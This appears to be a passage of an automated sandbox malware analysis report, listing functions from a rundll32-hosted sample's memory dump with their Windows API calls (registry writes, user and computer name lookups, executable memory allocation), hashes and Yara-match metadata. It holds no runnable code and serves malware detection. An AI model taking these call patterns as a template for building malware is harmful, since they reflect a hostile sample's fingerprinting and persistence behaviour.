                                            • Opcode Fuzzy Hash: 9063a0aee4c38c5febf105bfd834f1a142ab7be4e71c1e6a5964ad075faa1690
                                            • Instruction Fuzzy Hash: A8418D72E00219AFDB10AFA4DC8DB9EBBB9FB44314F14406BF506A7250EB759A45CB50
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE78F5 Relevance: 13.6, APIs: 9, Instructions: 110stringmemoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000022,00000000,00000000,00000000,?,?), ref: 05DE790C
                                            • lstrlen.KERNEL32(?), ref: 05DE7914
                                            • lstrlen.KERNEL32(?), ref: 05DE797F
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DE79AA
                                            • memcpy.NTDLL(00000000,00000002,?), ref: 05DE79BB
                                            • memcpy.NTDLL(00000000,?,?), ref: 05DE79D1
                                            • memcpy.NTDLL(00000000,?,?,00000000,?,?), ref: 05DE79E3
                                            • memcpy.NTDLL(00000000,05DF43E8,00000002,00000000,?,?,00000000,?,?), ref: 05DE79F6
                                            • memcpy.NTDLL(00000000,?,00000002), ref: 05DE7A0B
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: memcpy$lstrlen$AllocateHeap
                                            • String ID:
                                            • API String ID: 3386453358-0
                                            • Opcode ID: 01868edc832a1104b9770fbe476a668bac596a607afd591728c7c2ff384af574
                                            • Instruction ID: 4357b673db50e0a1c28194d4ff9ac0f84c1822a56ebe4ab7e050fc175bbf942b
                                            • Opcode Fuzzy Hash: 01868edc832a1104b9770fbe476a668bac596a607afd591728c7c2ff384af574
                                            • Instruction Fuzzy Hash: 92413172D0021AEBCF11EFA8CC859AEBBB9FF48214F14455BE906A7201E771DA54DB90
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEB845 Relevance: 13.6, APIs: 9, Instructions: 109memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DEACA0: RtlEnterCriticalSection.NTDLL(05DF9448), ref: 05DEACA8
                                              • Part of subcall function 05DEACA0: RtlLeaveCriticalSection.NTDLL(05DF9448), ref: 05DEACBD
                                              • Part of subcall function 05DEACA0: InterlockedIncrement.KERNEL32(0000001C), ref: 05DEACD6
                                            • RtlAllocateHeap.NTDLL(00000000,05DD79C7,00000000), ref: 05DEB896
                                            • lstrlen.KERNEL32(00000008,?,?,?,05DD79C7,00000000), ref: 05DEB8A5
                                            • RtlAllocateHeap.NTDLL(00000000,-00000021), ref: 05DEB8B7
                                            • HeapFree.KERNEL32(00000000,00000000,?,?,?,05DD79C7,00000000), ref: 05DEB8C7
                                            • memcpy.NTDLL(00000000,00000000,05DD79C7,?,?,?,05DD79C7,00000000), ref: 05DEB8D9
                                            • lstrcpy.KERNEL32(00000020), ref: 05DEB90B
                                            • RtlEnterCriticalSection.NTDLL(05DF9448), ref: 05DEB917
                                            • RtlLeaveCriticalSection.NTDLL(05DF9448), ref: 05DEB96F
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CriticalSection$Heap$AllocateEnterLeave$FreeIncrementInterlockedlstrcpylstrlenmemcpy
                                            • String ID:
                                            • API String ID: 3746371830-0
                                            • Opcode ID: 0146656b5a1c6c1b9e25532d5402a80e9344ecff07692b590b90368fa2df13ec
                                            • Instruction ID: 33f7eca6a869fbdaa7ce691738949d96787ebeacc5ba258f63d6fe0f7d2d4c0f
                                            • Opcode Fuzzy Hash: 0146656b5a1c6c1b9e25532d5402a80e9344ecff07692b590b90368fa2df13ec
                                            • Instruction Fuzzy Hash: FB415B71910705EFDB21AF68D885B5ABFB8FB04351F10811BF84A97310DB70E994CBA1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD156E Relevance: 13.6, APIs: 9, Instructions: 105memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DDA689: RtlAllocateHeap.NTDLL(00000000,00000001), ref: 05DDA6BB
                                              • Part of subcall function 05DDA689: HeapFree.KERNEL32(00000000,00000000,?,?,05DD158A,?,00000022,00000000,00000000,00000000,?,?), ref: 05DDA6E0
                                              • Part of subcall function 05DD2CBD: HeapFree.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,05DD15AB,?,?,?,?,?,00000022,00000000,00000000), ref: 05DD2CF9
                                              • Part of subcall function 05DD2CBD: HeapFree.KERNEL32(00000000,00000000,00000000,00000001,?,05DD15AB,?,?,?,?,?,00000022,00000000,00000000,00000000,?), ref: 05DD2D4C
                                            • lstrlen.KERNEL32(00000000,?,0000001D,?,0000001C,?,?,?,?,?,00000022,00000000,00000000,00000000,?,?), ref: 05DD15E0
                                            • lstrlen.KERNEL32(?,?,0000001D,?,0000001C,?,?,?,?,?,00000022,00000000,00000000,00000000,?,?), ref: 05DD15E8
                                            • lstrlen.KERNEL32(?), ref: 05DD15F2
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DD1607
                                            • wsprintfA.USER32 ref: 05DD1643
                                            • HeapFree.KERNEL32(00000000,00000000,0000002D,00000000,00000000,00000000), ref: 05DD1662
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DD1677
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DD1684
                                            • HeapFree.KERNEL32(00000000,00000000,?,0000001C,?,?,?,?,?,00000022,00000000,00000000,00000000,?,?), ref: 05DD1692
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$Free$lstrlen$Allocate$wsprintf
                                            • String ID:
                                            • API String ID: 168057987-0
                                            • Opcode ID: b1c929b9e6b563338c924bf6d65435d49acf61a69b15bd4f539b014c416f3083
                                            • Instruction ID: 8e0ed1fb918731f2879275f2ee8a8ecc3d48c1ca2dfcad926da95a50c44aa5c6
                                            • Opcode Fuzzy Hash: b1c929b9e6b563338c924bf6d65435d49acf61a69b15bd4f539b014c416f3083
                                            • Instruction Fuzzy Hash: ED316D31A04315AFDB11AFB8EC45E9BBFA8EF48710F01492BF94596251DB718858CBA2
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD3486 Relevance: 13.6, APIs: 9, Instructions: 89filesynchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateFileW.KERNEL32(?,C0000000,0000FDE9,00000000,00000001,00000080,00000000,00000008,00000000,0000FDE9,?), ref: 05DD34C6
                                            • GetLastError.KERNEL32 ref: 05DD34D0
                                            • WaitForSingleObject.KERNEL32(000000C8), ref: 05DD34F5
                                            • CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000001,00000080,00000000), ref: 05DD3518
                                            • SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 05DD3540
                                            • WriteFile.KERNEL32(?,00001388,?,?,00000000), ref: 05DD3555
                                            • SetEndOfFile.KERNEL32(?), ref: 05DD3562
                                            • GetLastError.KERNEL32 ref: 05DD356E
                                            • CloseHandle.KERNEL32(?), ref: 05DD357A
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$CreateErrorLast$CloseHandleObjectPointerSingleWaitWrite
                                            • String ID:
                                            • API String ID: 2864405449-0
                                            • Opcode ID: eca314c0ad2f80b811855511fc1a7fcedfe9eb9746b83f67ee27b091dd5bd210
                                            • Instruction ID: 5b88902a930a5090661d5795d541f175bba1c88804dada84593cf8eb1d0dbed1
                                            • Opcode Fuzzy Hash: eca314c0ad2f80b811855511fc1a7fcedfe9eb9746b83f67ee27b091dd5bd210
                                            • Instruction Fuzzy Hash: 25315C71900208BFEF109FA9DC4AFAEBFB9FF04366F104556F951A21D0C7B08A949B61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD39E2 Relevance: 13.6, APIs: 9, Instructions: 72filetimeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetSystemTimeAsFileTime.KERNEL32(?), ref: 05DD39EE
                                            • _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 05DD3A04
                                            • _snwprintf.NTDLL ref: 05DD3A29
                                            • CreateFileMappingW.KERNEL32(000000FF,05DF9208,00000004,00000000,00001000,?,?,54D38000,00000192), ref: 05DD3A45
                                            • GetLastError.KERNEL32 ref: 05DD3A57
                                            • MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000), ref: 05DD3A6E
                                            • CloseHandle.KERNEL32(00000000), ref: 05DD3A8F
                                            • GetLastError.KERNEL32 ref: 05DD3A97
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
                                            • String ID:
                                            • API String ID: 1814172918-0
                                            • Opcode ID: f75dae2f2e11c6d602867e1e37b4b9f13cfb04c9d53131bc9594313b251e7aee
                                            • Instruction ID: 4c87a600f5c8c8a2f26951050c7cffd61c2b636aa4e0cb4cc60d3551a8c5a2f1
                                            • Opcode Fuzzy Hash: f75dae2f2e11c6d602867e1e37b4b9f13cfb04c9d53131bc9594313b251e7aee
                                            • Instruction Fuzzy Hash: EE21DA76740204BBDB21DB68DC0AF8E7BB9EB44710F150123FA16E72D0DA70D9458771
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDB2AD Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 191stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlenW.KERNEL32(00000000,?,06379A03,?,?,06379A03,?,?,06379A03,?,?,06379A03,?,00000000,00000000,00000000), ref: 05DDB3AB
                                            • lstrcpyW.KERNEL32(00000000,?), ref: 05DDB3CE
                                            • lstrcatW.KERNEL32(00000000,00000000), ref: 05DDB3D6
                                            • lstrlenW.KERNEL32(00000000,?,06379A03,?,?,06379A03,?,?,06379A03,?,?,06379A03,?,?,06379A03,?), ref: 05DDB421
                                            • memcpy.NTDLL(00000000,?,?,?,?,?,?,05DD980E,?), ref: 05DDB489
                                            • LocalFree.KERNEL32(?,?,?,?,?,05DD980E,?), ref: 05DDB4A2
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: lstrlen$FreeLocallstrcatlstrcpymemcpy
                                            • String ID: P
                                            • API String ID: 3649579052-3110715001
                                            • Opcode ID: 56dfbc954ba51ddcaaef0d741bfb885cb386df27361b02be64ad96eade77910a
                                            • Instruction ID: 40e398d6448b77c2799d23978a2dc7bf85a43e362444016dd13192c6842d2aea
                                            • Opcode Fuzzy Hash: 56dfbc954ba51ddcaaef0d741bfb885cb386df27361b02be64ad96eade77910a
                                            • Instruction Fuzzy Hash: 9D611D71A0120AAFEF10EFA9DD89DAEBBBDFB44308B154027F905A7210DA359945DF70
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DED818 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 148timestringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DED5E6: InterlockedIncrement.KERNEL32(00000018), ref: 05DED637
                                              • Part of subcall function 05DED5E6: RtlLeaveCriticalSection.NTDLL(0637C378), ref: 05DED6C2
                                            • OpenProcess.KERNEL32(00000410,?,?,?,00000000,?,0000001C,00000000,00000000,?,?,?,05DDE219,?), ref: 05DED872
                                            • CloseHandle.KERNEL32(00000000,00000000,00000000,?,00000104,?,00000000,?,0000001C,00000000,00000000,?,?,?,05DDE219,?), ref: 05DED890
                                            • GetSystemTimeAsFileTime.KERNEL32(?), ref: 05DED8F8
                                            • lstrlenW.KERNEL32(?), ref: 05DED96D
                                            • GetSystemTimeAsFileTime.KERNEL32(00000008,0000001A), ref: 05DED989
                                            • memcpy.NTDLL(00000014,?,00000002), ref: 05DED9A1
                                              • Part of subcall function 05DD1924: RtlLeaveCriticalSection.NTDLL(?), ref: 05DD19A1
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Time$CriticalFileLeaveSectionSystem$CloseHandleIncrementInterlockedOpenProcesslstrlenmemcpy
                                            • String ID: o
                                            • API String ID: 2541713525-252678980
                                            • Opcode ID: 0b58a74f87613af9119788ec6863f707f908fd55e9eb995ff3fba3f58abd9a45
                                            • Instruction ID: 289cef05f5948994073afd1f4b6bba8651d0c07c5fa3a87dea407e4b627e3228
                                            • Opcode Fuzzy Hash: 0b58a74f87613af9119788ec6863f707f908fd55e9eb995ff3fba3f58abd9a45
                                            • Instruction Fuzzy Hash: 6B517C71650706EFD720EF68DC89BAABBB9FF04704F00452AE956D7240DB70E984CBA5
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE3672 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 45timeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • wsprintfA.USER32 ref: 05DE3685
                                            • CreateWaitableTimerA.KERNEL32(00000000,00000001,?), ref: 05DE3697
                                            • SetWaitableTimer.KERNEL32(00000000,?,00000000,00000000,00000000,00000000), ref: 05DE36C1
                                            • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 05DE36D4
                                            • CloseHandle.KERNEL32(?), ref: 05DE36DD
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: TimerWaitable$CloseCreateHandleMultipleObjectsWaitwsprintf
                                            • String ID: 0x%08X$v
                                            • API String ID: 603522830-3600196786
                                            • Opcode ID: dbf6ad5bbaa8eb657239a8c3bfba4cdd6c7d162b9627d434330193f3f578a7df
                                            • Instruction ID: d1c4deb16ef4feb90d22391b3ad5cf9d65847bdcb95b4fa8848f0d46c81576fe
                                            • Opcode Fuzzy Hash: dbf6ad5bbaa8eb657239a8c3bfba4cdd6c7d162b9627d434330193f3f578a7df
                                            • Instruction Fuzzy Hash: 43015A71905229BFCB00ABA4DC0ADEFBF7CEF06260F00411AF516E2294EB709641CBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD984B Relevance: 12.1, APIs: 8, Instructions: 123memoryregistrysynchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DEBAC0: RegCreateKeyA.ADVAPI32(80000001,0637B7F0,?), ref: 05DEBAD5
                                              • Part of subcall function 05DEBAC0: lstrlen.KERNEL32(0637B7F0,00000000,00000000,05DF806E,?,?,?,05DD6B9D,00000001,00000000,?), ref: 05DEBAFE
                                            • RtlAllocateHeap.NTDLL(00000000,00000105), ref: 05DD9890
                                            • RtlAllocateHeap.NTDLL(00000000,00000105), ref: 05DD98A8
                                            • HeapFree.KERNEL32(00000000,?,?,00000000,?), ref: 05DD990A
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DD991E
                                            • WaitForSingleObject.KERNEL32(00000000,?,00000000,?), ref: 05DD9970
                                            • HeapFree.KERNEL32(00000000,?,?,00000000,?), ref: 05DD9999
                                            • HeapFree.KERNEL32(00000000,?,?,00000000,?), ref: 05DD99A9
                                            • RegCloseKey.ADVAPI32(?,?,00000000,?), ref: 05DD99B2
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$AllocateFree$CloseCreateObjectSingleWaitlstrlen
                                            • String ID:
                                            • API String ID: 3503961013-0
                                            • Opcode ID: b24d11e08812e63dc7136ff1f3fb324d4d73f73e18a3cef203ec79ca477c66f8
                                            • Instruction ID: f6dc5ac4dcd79645b751922bbd336ad67f8017ae4e8edf6fbfaba6089372cd2b
                                            • Opcode Fuzzy Hash: b24d11e08812e63dc7136ff1f3fb324d4d73f73e18a3cef203ec79ca477c66f8
                                            • Instruction Fuzzy Hash: 0241D4B5D10109EFDF119FE8DC959EEFFBAFB08314F10446BF501A2220D6364A959B61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDB175 Relevance: 12.1, APIs: 8, Instructions: 112stringtimeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,00000030,?,?,?,?,?,?,?,?,?,?,?,05DE2B68), ref: 05DDB18B
                                            • wsprintfA.USER32 ref: 05DDB1B3
                                            • lstrlen.KERNEL32(?), ref: 05DDB1C2
                                              • Part of subcall function 05DDC6B8: RtlFreeHeap.NTDLL(00000000,00000000,05DF1A9A,00000000), ref: 05DDC6C4
                                            • wsprintfA.USER32 ref: 05DDB202
                                            • wsprintfA.USER32 ref: 05DDB237
                                            • memcpy.NTDLL(00000000,?,?), ref: 05DDB244
                                            • memcpy.NTDLL(00000008,05DF43E8,00000002,00000000,?,?), ref: 05DDB259
                                            • wsprintfA.USER32 ref: 05DDB27C
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: wsprintf$Timememcpy$FileFreeHeapSystemlstrlen
                                            • String ID:
                                            • API String ID: 2937943280-0
                                            • Opcode ID: c2746e0d51001433b67992d04654a4ef4d803fb89a5dcb656ef0d0441984cc75
                                            • Instruction ID: d388ae7142ed069636c4ecf07e73bf7f53221a7cfae56517fd15bbe2645aaf93
                                            • Opcode Fuzzy Hash: c2746e0d51001433b67992d04654a4ef4d803fb89a5dcb656ef0d0441984cc75
                                            • Instruction Fuzzy Hash: 9141FF71A0010AEFDB10DF98DC85EAEB7FDEF44208B154466F559D7311DA31EA058B60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEFFA5 Relevance: 12.1, APIs: 8, Instructions: 98memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetUserNameW.ADVAPI32(00000000,?), ref: 05DEFFCF
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DEFFE2
                                            • GetUserNameW.ADVAPI32(00000000,?), ref: 05DEFFF4
                                            • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,05DD6BDA), ref: 05DF0018
                                            • GetComputerNameW.KERNEL32(00000000,?), ref: 05DF0026
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DF003D
                                            • GetComputerNameW.KERNEL32(00000000,?), ref: 05DF004E
                                            • HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,05DD6BDA), ref: 05DF0074
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: HeapName$AllocateComputerFreeUser
                                            • String ID:
                                            • API String ID: 3239747167-0
                                            • Opcode ID: fe83239b6042e0da064866822a77e16747590fd07e8e1bb09e03f7dda3bb9133
                                            • Instruction ID: 6e93dc9f459a32d1bc4d9c8eacbf18ef2f1023b8fabba937c730d8d9dffaf119
                                            • Opcode Fuzzy Hash: fe83239b6042e0da064866822a77e16747590fd07e8e1bb09e03f7dda3bb9133
                                            • Instruction Fuzzy Hash: 1131FAB6A10209EFDB10DFB8DD85DAEBBF9FB44210715846AF906D3210EB349E859B50
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE6378 Relevance: 12.1, APIs: 8, Instructions: 72memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlenW.KERNEL32(?,00000000,?,?,00000001,00000001,?,05DD1036,?,?,?,?), ref: 05DE639C
                                            • RtlAllocateHeap.NTDLL(00000000,00000001), ref: 05DE63AE
                                            • wcstombs.NTDLL ref: 05DE63BC
                                            • lstrlen.KERNEL32(00000000,?,?,?,?,?,00000000,?,?,00000001,00000001,?,05DD1036,?,?,?), ref: 05DE63E0
                                            • RtlAllocateHeap.NTDLL(00000000,00000002), ref: 05DE63F5
                                            • mbstowcs.NTDLL ref: 05DE6402
                                            • HeapFree.KERNEL32(00000000,00000000,?,?,00000001,00000001,?,05DD1036,?,?,?,?,?), ref: 05DE6414
                                            • HeapFree.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000001,00000001,?,05DD1036,?,?,?,?,?), ref: 05DE642E
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$AllocateFreelstrlen$mbstowcswcstombs
                                            • String ID:
                                            • API String ID: 316328430-0
                                            • Opcode ID: 6065c603b89e02b290cad0249f319049ffd8a0a4e3e90826f3ee6c9a26387ff1
                                            • Instruction ID: 1b2c802be13c91a793bd7765505e6461141bba7af4a6e3c8355514864aafc4d1
                                            • Opcode Fuzzy Hash: 6065c603b89e02b290cad0249f319049ffd8a0a4e3e90826f3ee6c9a26387ff1
                                            • Instruction Fuzzy Hash: 6E213D31910209FBDF119FA8EC49F9B7F79FB44314F104127B60692260DB71DAA4DB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD7574 Relevance: 12.1, APIs: 8, Instructions: 57registrymemorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(05DEC387,00000000,00000000,05DF9460,?,?,05DE1B32,05DEC387,00000000,05DEC387,05DF9440), ref: 05DD7587
                                            • RtlAllocateHeap.NTDLL(00000000,-00000005), ref: 05DD7595
                                            • wsprintfA.USER32 ref: 05DD75B1
                                            • RegCreateKeyA.ADVAPI32(80000001,05DF9440,00000000), ref: 05DD75C9
                                            • lstrlen.KERNEL32(?), ref: 05DD75D8
                                            • RegSetValueExA.ADVAPI32(00000001,00000000,00000000,00000001,?,00000001), ref: 05DD75E6
                                            • RegCloseKey.ADVAPI32(?), ref: 05DD75F1
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DD7600
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heaplstrlen$AllocateCloseCreateFreeValuewsprintf
                                            • String ID:
                                            • API String ID: 1575615994-0
                                            • Opcode ID: 6973af8ff6c25fd6c17d256255589093845f7b028a78a3c291b475acadb26be9
                                            • Instruction ID: 30288655c2949b39bb2d112290ced6e1e71aed6ac7c66bed6ee9ddf50011d434
                                            • Opcode Fuzzy Hash: 6973af8ff6c25fd6c17d256255589093845f7b028a78a3c291b475acadb26be9
                                            • Instruction Fuzzy Hash: 92116172510108BFEF015B98EC8AFAA3F7DEB45715F104023FA0596260DF729D559B61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DECDA3 Relevance: 12.1, APIs: 8, Instructions: 52registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenProcess.KERNEL32(00000040,00000000,?), ref: 05DECDAF
                                            • RegCreateKeyA.ADVAPI32(80000001,?,?), ref: 05DECDCD
                                            • RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 05DECDD5
                                            • DuplicateHandle.KERNEL32(?,00000000,?,00000000,00000000,00000002), ref: 05DECDF3
                                            • GetLastError.KERNEL32 ref: 05DECE07
                                            • RegCloseKey.ADVAPI32(?), ref: 05DECE12
                                            • CloseHandle.KERNEL32(00000000), ref: 05DECE19
                                            • GetLastError.KERNEL32 ref: 05DECE21
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseErrorHandleLastOpen$CreateDuplicateProcess
                                            • String ID:
                                            • API String ID: 3822162776-0
                                            • Opcode ID: 11922c5b98123e33ae577155c8323aac9001e102136fb896ca935b5ceff288a4
                                            • Instruction ID: af326a145c32a0f7e9ce09788e6c52756a3c2ac11091f1dcd52d0b9388b8e5e0
                                            • Opcode Fuzzy Hash: 11922c5b98123e33ae577155c8323aac9001e102136fb896ca935b5ceff288a4
                                            • Instruction Fuzzy Hash: 1E115E76160208BFDB019FA8DC4AF6A3F69FB44761F044022FA1685350DF31CD54CB61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE814E Relevance: 11.5, APIs: 9, Instructions: 298COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AllocateHeap
                                            • String ID:
                                            • API String ID: 1279760036-0
                                            • Opcode ID: e438ddf7eae7e2a1b36140f0c5d4b52b4f346bf6563896b77b59e131b98d133f
                                            • Instruction ID: 6749846516e8c6c7a00f1af0cfab184fd6e90ba7669ec037b9fafb30f654a22b
                                            • Opcode Fuzzy Hash: e438ddf7eae7e2a1b36140f0c5d4b52b4f346bf6563896b77b59e131b98d133f
                                            • Instruction Fuzzy Hash: F2B1F271D01219EFDF22EB94CC08AAEBBBAFF05314F054066E911B7260D731AE45EB61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE4ACA Relevance: 10.7, APIs: 7, Instructions: 165stringmemoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetCommandLineA.KERNEL32(05DF50F8,00000038,05DE600B,00000000,76F1F5B0,05DE339A,?,00000001,?,?,?,?,?,?,?,05DDBF69), ref: 05DE4ADB
                                            • StrChrA.SHLWAPI(00000000,00000020,?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DE4AEC
                                              • Part of subcall function 05DD3997: lstrlen.KERNEL32(?,00000000,76EC6980,00000000,05DE780A,?), ref: 05DD39A0
                                              • Part of subcall function 05DD3997: memcpy.NTDLL(00000000,?,00000000,?), ref: 05DD39C3
                                              • Part of subcall function 05DD3997: memset.NTDLL ref: 05DD39D2
                                            • ExitProcess.KERNEL32 ref: 05DE4CCE
                                              • Part of subcall function 05DE52C3: StrChrA.SHLWAPI(?,?,7711D3B0,0637C304,00000000,?,05DDCE0C,?,00000020,0637C304), ref: 05DE52E8
                                              • Part of subcall function 05DE52C3: StrTrimA.SHLWAPI(?,05DF4FC4,00000000,?,05DDCE0C,?,00000020,0637C304), ref: 05DE5307
                                              • Part of subcall function 05DE52C3: StrChrA.SHLWAPI(?,?,?,05DDCE0C,?,00000020,0637C304), ref: 05DE5313
                                            • lstrcmp.KERNEL32(?,?), ref: 05DE4B5A
                                            • VirtualAlloc.KERNEL32(00000000,0000FFFF,00001000,00000040,?,?,?,?,?,?,?,05DDBF69,?), ref: 05DE4B72
                                              • Part of subcall function 05DE9287: GetLastError.KERNEL32(000000FF,00000008,?,000000FF,0637B7F0,?,?,05DEBB0E,0000003A,0637B7F0,?,?,?,05DD6B9D,00000001,00000000), ref: 05DE92C7
                                              • Part of subcall function 05DE9287: CloseHandle.KERNEL32(000000FF,?,?,05DEBB0E,0000003A,0637B7F0,?,?,?,05DD6B9D,00000001,00000000,?), ref: 05DE92D2
